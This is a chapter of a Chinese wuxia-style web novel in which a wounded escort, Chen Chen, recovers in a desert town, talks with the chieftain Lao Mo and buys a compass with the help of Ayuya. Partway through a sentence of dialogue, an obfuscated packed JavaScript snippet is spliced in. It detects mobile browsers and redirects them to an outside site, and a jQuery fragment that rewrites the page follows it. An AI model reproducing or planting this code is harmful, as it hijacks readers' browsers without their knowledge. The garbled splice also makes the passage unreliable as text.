“镖人？”阿育娅歪了歪头，“又一个镖人？我也认识一个镖人。可那人总是一身便装，一匹快马，背后背着数十柄钢刀，来去匆匆的。”


    她一边说着，一边弯腰去搬陈晨那只木匣。匣子看着不大，入手却沉得她身子一歪，咬着牙才挪到床边，往地上一墩，喘了口气。


    “你这东西怎么打开的？教教我呗？”她拍了拍木匣的一侧，语气里满是好奇，眼睛亮晶晶地盯着那乌沉的匣面。


    陈晨瞳孔一缩，刚想出声阻止……


    来不及了。


    只听“咔哒”一声轻响，那声音极脆，像是什么机括弹开了。木匣另一侧骤然弹开一道暗格，一支无羽短箭激射而出，带着尖锐的破风声，擦着陈晨的耳畔掠过，“夺”地钉入他身后的床柱。


    箭尾颤颤，嗡嗡作响。


    距离他的眼睛，不过两寸。


    屋子里一下子静了。


    阿育娅愣住了，手还悬在半空，保持着拍匣子的姿势。她盯着那支箭，又盯着陈晨，又盯着那支箭，半晌没动。


    陈晨也盯着那支箭。箭身没入床柱足有三寸深，露在外头的部分还在轻轻颤动。


    他缓缓吐出一口气，抬起右手……那只是他现在唯一能动的部位，在空中徒劳地摆了摆，指尖都在发抖。


    “别……别再拍了……”


    他的声音哑得厉害，像是从嗓子眼里硬挤出来的。


    “等我能动了，我教你怎么开……”


    阿育娅这才回过神来。她“哦”了一声，把手背到身后，像做错事的小孩。可那眼睛还是忍不住往木匣上瞟，瞟一眼，又赶紧收回来，过一会儿，又忍不住瞟一眼。


    陈晨看着她那模样，忽然觉得有点想笑。嘴角刚动了动，却见阿育娅的目光忽然定住了，定在他身上某个地方。


    他顺着她的目光低头一看……心猛地一沉。


    袖口。


    那柄飞刃不知何时露出了一截。刃身薄如纸，在窗纸透进来的光里闪了一下，像一尾银色的鱼。


    他还没来得及动作，阿育娅的手已经伸过来了。


    手比话快。


    陈晨只觉手腕一轻，那柄藏了半天的小东西已经到了阿育娅手里。她两根手指捏着刃尖，对着光端详，翻来覆去地看，像是在端详什么稀罕物件。


    “这么薄……”她喃喃道，“能杀人吗？”


    她说着，随手往旁边的矮几上一划。那刃锋划过木面，无声无息，像划过一块豆腐。矮几上立刻多了一道细细的痕迹，深约半寸，切口齐整得像是刨子推出来的。


    阿育娅眼睛亮了。


    “好东西啊！”她转过头来，语气里带着点惊喜，“你这人身上怎么尽是些稀奇古怪的玩意儿？”


    陈晨没接话。他只是盯着她手里的飞刃，又看了看自己被掏空的右手，嘴唇动了动，最终什么也没说出来。


    阿育娅把刃尖对着光又看了一会儿，忽然像是想起了什么。她转过头来，看着他，语气里带着点教训人的味道，眉眼却弯着。


    “你现在可是个病人。”她说，“舞刀弄枪的，伤了自己怎么办？”


    话音落下，她随手一抛。


    那柄飞刃在空中翻了个跟头，翻得慢悠悠的，刃身折射出一道细细的光，在空中划了道弧线，然后落在矮几上，“啪”的一声脆响。


    陈晨盯着那矮几，又看了看自己被掏空的右手，嘴唇动了动，最终什么也没说出来。


    阿育娅的阿塔已是年近七旬的人了。


    在这大漠里头，能活到这把年纪的人不多。能活到这把年纪还硬朗着的，更是少之又少。老莫便是这少之又少里的一个。


    他腰板挺直，走路不带晃，说话中气也足。只有走近了细看，才能瞧出些老态……眼窝深陷下去，眼眶周围是一圈青黑，像是多少年没睡好觉的人。手上的皮也松了，皱巴巴地裹着骨头，手背上青筋暴起，一条一条的，像干涸的河床。


    他是老来得女。


    阿育娅的娘生下她就没了，老莫一个人把她拉扯大。捧在手里怕摔了，含在嘴里怕化了，从小到大，阿育娅要干什么，他都由着她的性子。她要骑马，他就教；她要射箭，他就练；她要往外跑，他就由着她跑，只是每次都要叮嘱一句“早点回来”。


    这回她把陈晨这个陌生男人捡回来，直接塞进自己的闺房里养着……如此荒谬的事，他竟也没拦着。


    只是每日总要过来几趟。


    站在门口，看一眼，也不说话，看完就走。


    陈晨身上的药，也是他亲手换的。换的时候动作很轻，手很稳，不像个七旬的老人。他把那些草药捣烂了，敷在陈晨被蝎子蜇伤的伤口上，然后用布条一圈一圈缠好，缠得不松不紧，刚好能把药固定住。缠完了，他还要用手按一按，试试松紧，然后站起来，再看陈晨一眼，还是不说话，转身就走。


    这里的人都叫他莫族长，或者老莫。


    没人知道他叫什么名字。也没人问。


    这天傍晚，老莫推门进来。


    他没像往常那样站在门口，而是直接走到床边，看了陈晨一眼。


    “能走吗？”


    声音很平，像在问一件寻常事。


    陈晨愣了一下，然后点了点头。


    老莫没再说话，只是伸手扶住他的胳膊。那手看着干瘦，力气却不小，一把将他从床上捞了起来，像捞一捆柴禾。


    陈晨的腿还是软的，踩在地上像踩在棉花上，深一脚浅一脚。老莫也不急，就那么扶着他，一步一步往外走。


    阿育娅正蹲在院子里喂马，看见他们出来，愣了一下，然后站起来。


    “阿塔，你带他去哪儿？”


    老莫没回头。


    “走走。”


    阿育娅“哦”了一声，又蹲下去，继续喂马。那匹枣红马和阿育娅的白马正靠在一起埋头吃草，吃得很专心，连头都不抬。


    老莫扶着陈晨，一步一步走到镇子中央。


    那里孤零零立着一棵桃树。


    树不高，也就两人来高。树干歪歪扭扭的，像是被风吹歪了，又像是自己长歪了。枝丫伸展开来，遮出一片小小的阴凉。树上开满了桃花，开得密密匝匝的，一朵挨着一朵，把枝条都压弯了。


    那花开得极艳，艳得扎眼。在这灰扑扑的镇子里，在这苍黄的天地间，那一树粉红像一团火，烧得人心口发烫。


    老莫看着那棵桃树，看了很久。


    夕阳把天边烧成一片橘红，余晖落在桃树上，落在花瓣上，落在他脸上。他脸上的皱纹被那光一照，显得更深了，像一道道沟壑。“毒解得差不多了。”他开口，声音很平，“那天丫头把你带回来，我还以为她从哪搞了个死人。”


    陈晨没接话。


    他也看着那棵桃树。看着那满树桃花，他便想到了长安。


    他收回目光，看向远处。远处是一片苍黄，天和地糊在一起，分不清哪里是尽头。


    “和死人也没差太多。”他顿了顿，声音沙哑，“中原混不下去了，总得另谋出路。听熟络的镖人说，这大漠里遍地都是来财的门路……谁知道才进来没几天就遇上沙暴，司南也丢了。”


    他转过头，看向老莫。


    “要不是阿育娅，我可能真就交代了。”


    老莫没应声。


    他只是看着那棵桃树，像在看一个老熟人。


    过了很久，他才开口。


    “看你的行头，不像是普通人。”


    他终于转过头，目光落在陈晨脸上。那目光很平静，平静得像一潭死水，可陈晨知道，那死水底下藏着东西。


    “怎么也会在中原混不下去？”


    陈晨沉默了许久，看向老莫。


    “莫前辈。”他开口，声音还是沙哑的，“晚辈以前确实在军中吃过几年官粮……只是那官粮，不合我的胃口。”


    他说完，顿了顿，又补了一句：


    “现在只想活着，做好一个镖人。”


    老莫没接话。


    他转过身，又看向那棵桃树。夕阳已经落下去了，天边只剩一抹暗红。那桃树在暮色里显得模糊了，只剩一团朦胧的粉红，像一团雾。


    过了很久，他才开口。


    “你觉得我这莫家集如何？”


    声音很平，像是在问陈晨，又像是在问自己。


    陈晨也看着那棵桃树。


    “不像大漠里的地方。”他说，“像塞上江南。”


    老莫轻轻“呵”了一声，不知是笑还是叹气。


    “江南……”他喃喃道，“我没见过江南。听说那里到处都是水，河啊，湖啊，塘啊，出门就得坐船。”


    他顿了顿，又说：


    “我这辈子，见的都是沙子。看惯了。”


    陈晨没接话。


    两人就那么站着，看着那棵桃树，谁也不说话。


    风吹过来，带着沙子，打在脸上，微微的疼。桃树被风吹动，花瓣簌簌地落下来，飘在空中，飘了一会儿，落在地上，落在沙子里。


    “你既然是个镖人，那一定是顶尖的那一批吧？”


    老莫忽然开口，语气很平淡，像是在问一件寻常事。


    “不然怎么敢一个人独闯大漠？”


    陈晨盯着那棵桃树，看着那些飘落的花瓣。


    “是最次的那批。”他说，“不然也不会在中原混不下去了。”


    老莫转过头，看了他一眼。


    那一眼很长，长到陈晨都觉得有些不自在。


    然后老莫收回目光，又看向那棵桃树。


    “最次的那批……”他重复道，声音里听不出什么情绪，“最次的那批，能一个人活着走出大漠？”


    陈晨没接话。


    他只是看着那些花瓣，看着它们一片一片落下来，落在沙子上，被风一吹，又飘起来，飘向远处。


    远处是一片苍黄，什么都看不清。


    莫家集的白天与夜晚，完全是两个不同的世界。


    夜晚的莫家集虽说不上冷清，却安安静静的。家家户户闭着门，窗纸后面偶尔透出一点昏黄的光，像一只只困倦的眼睛。躺在房间里，躺在床上，甚至能听见昆虫在沙地上爬行的声音……细细碎碎的，像有人在远处悄悄说话。


    可一到白天，整个集镇就像活了过来。


    到处都是人。


    卖吃食的摊子冒着热气，油锅里滋啦滋啦响，炸得金黄的油饼在笊篱里翻个身，香味飘出老远。铁匠铺里叮叮当当，炉火映得门口一片通红，风箱呼哧呼哧地响，火星子溅出来，落在地上，一闪就灭。还有那些行色匆匆的旅人……有人刚从大漠深处出来，满脸沙尘，一头扎进酒馆就不肯出来，要了酒，要了肉，大口大口地吃喝，像要把这些天欠的都补回来；有人正准备出发，在水井边排队打水，把羊皮囊灌得鼓鼓囊囊，灌完了还要掂一掂，试试分量。


    小摊上摆着各种零碎物件：干粮、水囊、绳索、火折子、磨刀石……都是赶路的人用得上的东西。摊主们也不吆喝，就那么坐着，有人问才搭腔。问价的人蹲下来，拿起这个看看，拿起那个摸摸，问几句，嫌贵，放下，走了。摊主也不急，还是那么坐着，等下一个。


    阿育娅跟在陈晨身边，走得很快，靴子踩在地上“噔噔”响。


    “为什么不住在我那了？”她大声问道，声音盖过了周围的嘈杂。


    陈晨没回头。


    他牵着那匹枣红马，背后依旧背着那个黑木箱子。腰间的长刀换了新布，缠得紧紧的，那杆七十二斤的霸王枪也换了个位置……挂在顺手就能摸到的地方。而他的全身甲则被之前穿过的黑斗篷包好，仔细得绑在马背上，捆得结结实实，走一步晃一下，晃一下响一声。


    “男女有别，终归不便。”他顿了顿，声音比前几日温润了许多，不再像砂纸刮过石头，“这几日已承蒙照顾，不敢再叨扰。”


    阿育娅愣了一下，皱起眉。


    “你们这些中原来的人，怎么都这样？”她撇撇嘴，嘴撅得老高，“说话拐弯抹角的，‘不敢再叨扰’……叨扰是什么？你就说‘不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387696|200272||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    住了’不就完了吗？真不痛快。”


    陈晨没接话，只是嘴角动了动，像是想笑，又忍住了。


    他嘴角那一点抽动，像是石子投进水里，涟漪还没荡开就收了回去。


    两人走走停停，穿过人群，绕过几个摊子，最终在一个小摊子前停了下来。


    摊子不大，一块破布铺在地上，上面摆着些零碎物件。有缺了口的碗，有生了锈的刀，有几枚铜钱，有几块看不出是什么的石头。角落里头，摆着一只司南。


    那司南做得粗糙，铜盘上刻着些模糊的方位，勺子搁在中间，歪歪斜斜的，像是被人拨弄过很多回。


    “司南，什么价？”


    “十两银子。”


    那小贩头都没抬，随口扔出一个价。他蹲在那里，手里摆弄着什么东西，眼睛都不往陈晨这边看。


    陈晨沉吟片刻，从怀中掏出一个布袋。布袋不大，拿在手里轻飘飘的。他解开袋口，往里看了看，数了数里头的碎银，又揣回怀里。


    他抬手从腰带上解下一块雕花精美的玉牌，递了过去。


    “这块玉换你的司南，行不行？”


    那小贩这才抬起头，瞟了一眼那块玉牌，随即抬手一挡。


    “十两银子，你给我这石头片子有什么用？不买赶紧走，别耽误我做生意。”


    他的手还没碰到玉牌，阿育娅已经一把攥住他的手腕。


    她笑眯眯的，眼睛弯成两道月牙，可那手劲儿却大得吓人。那小贩的脸顿时白了，嘴张了张，想喊，又不敢喊。


    “三两。”阿育娅说，声音脆生生的，像在说今天天气不错，“多一两也没有。”


    那小贩一抬头，看清是她，脸色顿时变得更难看了。嘴张了又张，张了又张，最后挤出个笑来，笑得比哭还难看。


    “三……三两就三两。”


    阿育娅松开手。


    那小贩揉着手腕，飞快地把摊上的东西卷成一团，揣进怀里，一溜烟没影了。跑得飞快，连头都不敢回。


    陈晨看着那人消失的方向，又看了看阿育娅。


    他没说话，只是从布袋里数出三两银子，放在那空荡荡的摊位上。然后弯腰，把那只司南捡起来，在手里掂了掂，揣进马鞍旁的口袋里。


    做完这些，他才转过身，把手中的玉牌塞进阿育娅手里。


    阿育娅没拒绝。她低下头，看着那块玉牌，翻过来，翻过去，看了又看。然后她把玉牌举起来，对着太阳。日光透过玉身，在她脸上映出一小块温润的光斑，亮晶晶的，随着她手的晃动轻轻游走。


    玉牌不大，方寸之间雕着精细的云纹。那是将门世家的东西，跟了他十几年。


    “少看太阳，”陈晨开口，“会把你眼睛烧瞎的。”


    阿育娅放下玉牌，歪着头看他。嘴角弯起来，带着点揶揄的味道。


    “这东西对你挺重要的吧？”她眨眨眼，眼睛亮晶晶的，像两颗浅褐色的珠子，“未婚妻送的？定情信物？”


    陈晨没接话。


    他只是看着那块玉牌，看着它在她手里，在日光下，泛着温润的光。


    过了好一会儿，他才开口。


    “身外之物罢了。”


    他顿了顿，又补了一句：


    “喜欢就留着当个摆件。不喜欢……找懂行的商人换成银子。”


    “才不要。”


    阿育娅一把将玉牌攥在手里，攥得紧紧的，像是怕他反悔抢回去似的。她低下头，把玉牌系在腰间，系好了还用手拍了拍，这才抬起头看他。


    “这东西怎么看都对你挺重要的。”她眨眨眼，嘴角弯起来，弯得有些得意，有些狡黠，“说不定以后还能拿它要挟你一下。”


    陈晨看着她腰间的玉牌，又看看她那张带着点得意、带着点狡黠的脸。


    他忽然起了个念头，想逗逗这丫头。


    “要不你还是还给我吧，我给你银子。”


    “想得美！”


    阿育娅往后退了半步，手已经按在腰间那玉牌上，身子微微弓起，像一只护食的小狼。那模样又警惕又得意，眼睛瞪得圆圆的，瞪着他。


    陈晨看着她那模样，这回是真想笑了。


    他嘴角刚动了动，还没来得及说什么，阿育娅已经转过头去，看向旁边一个摊子。


    “哇，是糖葫芦！”


    她眼睛一下子亮了，快步走到摊位前，随手拽下两根。那摊主是个老头，看了她一眼，又看了陈晨一眼，没说话，只是笑了笑。


    陈晨则从怀中摸出五枚铜板，放入老板手中。


    阿育娅把一根糖葫芦塞进嘴里，咬下一颗，嚼了嚼，眼睛眯起来。


    “唔……好吃！”


    她嘴里塞得满满的，说话含糊不清。腮帮子鼓鼓的，一动一动，像只存食的仓鼠。


    陈晨看着她，忽然觉得这丫头吃东西的样子有点好笑。


    “要不要尝尝？”阿育娅把另一根糖葫芦递过来，在他眼前晃了晃，“上次看到卖糖葫芦的还是两年前呢，真甜，味道一点都没变。”


    陈晨摆了摆手。


    “不了。”他说，“不过我倒是好奇，那卖十两银子的司南，怎么你一开口他就卖三两了？”


    阿育娅腮帮子鼓鼓的，一边嚼一边含糊地回道：“唔……因为这整个莫家集都是我阿塔的啊。”


    她又咬下一颗，嚼了嚼，咽下去，这才继续说：


    “而且那家伙的东西……不是从尸体上摸的，就是挖坟掘墓盗来的。让他卖三两都算是看得起他了。”


    话还没落，对面走来一个黑衣男子。


    那人走得不快，一步一步，稳稳当当。手里牵着一匹骏马，马是青骢色，毛色油亮，在日光下泛着光。马背上盘腿坐着一个三四岁的孩子，坐得稳稳当当，像是早就习惯了这颠簸。孩子手里拿着个什么东西，低头玩着，头都不抬。


    马鞍旁搭着一卷兽皮，卷得严严实实，用绳子捆了几道。可那兽皮卷得再严实，也遮不住里头的东西……从那缝隙里，露出密密麻麻的刀柄。